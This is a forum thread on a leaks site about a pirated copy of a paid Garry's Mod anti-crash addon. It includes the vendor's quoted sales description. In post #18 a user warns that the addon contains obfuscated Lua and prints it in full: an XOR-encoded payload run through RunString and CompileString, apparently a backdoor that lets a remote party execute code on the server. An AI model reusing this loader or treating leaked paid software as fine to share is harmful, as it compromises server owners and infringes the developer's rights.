Garry's Mod Leaks

Anti-Crash (Performance Booster)

Submitted by Ikabyte, , Thread ID: 233246

Thread Closed

RE: Anti-Crash (Performance Booster)

#11
Is it something like prop protection>?

RE: Anti-Crash (Performance Booster)

OP
#12
08-02-2022, 07:49 PM
Chepuxaa Wrote:
Is it something like prop protection>?

When the script detects that someone is respawning something like "Server Crasher" from a duplicator this script will prevent it
It will also prevent many other things, but it is best to test it yourself

RE: Anti-Crash (Performance Booster)

#13
Hello, why did you say that the addon is version 1.2.8, although version 1.0.5 is specified in the file?

RE: Anti-Crash (Performance Booster)

#14
It should be the latest version but I am not sure

RE: Anti-Crash (Performance Booster)

#15
this is fantastic keep it up

RE: Anti-Crash (Performance Booster)

#16
Here are some lesser-known Performance boosting mods from the steam workshop for those interested: https://steamcommunity.com/sharedfiles/f...1620875048

https://steamcommunity.com/sharedfiles/f...1762151370
Delete my account this website's functions don't even work.

RE: Anti-Crash (Performance Booster)

#17
hope its a newest version thanks

RE: Anti-Crash (Performance Booster)

#18
has funny obfuscated code, wouldn't use.

anticrash/lua/z_anticrash/server/sv_lagmeasures.lua | Code Execution (CompileString) @ Line #206 |

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,58,53,33,10,54,87,13,46,38,34,81,87,18,17,14,22,56,54,83,85,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")

RE: Anti-Crash (Performance Booster)

#19
02-02-2022, 07:38 PM
Ikabyte Wrote:
[Image: 700526af08d7bab07b78d855c3419490.png]

Stop losing players today! Introducing the first fully automated anti-crash system including admin tools and performance boosting features to stop those annoying crashers from ruining your player count.

Performance Guarantee

In order to guarantee results anti-crash has been developed on a popular pure vanilla sandbox server reducing 20-30 crashes each day to 0 crashes.

There could still be rare crashes caused by engine bugs or improper configured server hosting software.


How does it work?

Anti-Crash constantly monitors your server's loss of performance to predict incoming crashes and monitors all entities for weird or out of bounds behaviors to stop collision and map exploit crashes.
the system automatically patches several exploits, reduce physics performance impact, and has its own netrate limiter.
Anti-Crash automatically prevents lag and crashes the way you configured it in the settings.
The toolgun and prop spammers can say goodbye to spamming their ropes, props, and all other annoying toolgun mechanics that ruin the fun for others.
The system gives out flags to players for triggering the system and admins have the tools needed to monitor those players with the sleek admin interface menu that allows them to have full control over anyone's props and ability to spawn and toolgun.
Players love workshop dupes, no need to disable them any longer, dupes are filtered on spawn disabling those crash dupes and any models not installed on the server will not spawn to avoid error model spammers (no one likes errors).
Track your server's performance combined with other useful stats, so you know what the general bottleneck of your servers performance is.
Can't be bothered to check player per player? No problem, toggle global Entity Vision and see all player owned entities trough walls to find out instantly what is happening around you.
The anti-crash will broadcast all events in console to any staff members that you allowed for easy monitoring without even having to open the menu.
Want more details? Check out the features tab!

Compatibility

Administration Tools:

FAdmin
sAdmin
SAM
Server Guard
ULX
XAdmin

Prop protections:

APG - Anti Prop Griefing & Crash Protection
Falco's Prop Protection (FPP)
PCS - Prop Control System
PatchProtect
Simple Prop Protection (SPP)
gProtect - Prop Protection Reinvented


Why not use a free workshop anti-crash?

Sure, go ahead and use a poorly optimized anti-crash like crident's that will most definitely not stop the players intended to crash your server and blacklists half the available props...


I have prop protection X do I need an anti-crash?

Some prop protections like gProtect have anti-crash related features but those are only a small part of what this anti-crash does to prevent crashes.

That's why Anti-Crash is fully compatible with most if-not all prop protection systems to get you that anti-crash guarantee!


Installation

Drag and drop in `...\GarrysMod\garrysmod\addons\`


WorkshopDL

All content will automatically be downloaded from the workshop.

* Size: 1mb


Links:
GmodStore: https://www.gmodstore.com/market/view/anti-crash
Download: Content has been stripped. Go to the quoted post to view the content.

this is a re leak, dont bother

RE: Anti-Crash (Performance Booster)

#20
Can this technically be used in sandbox or no?

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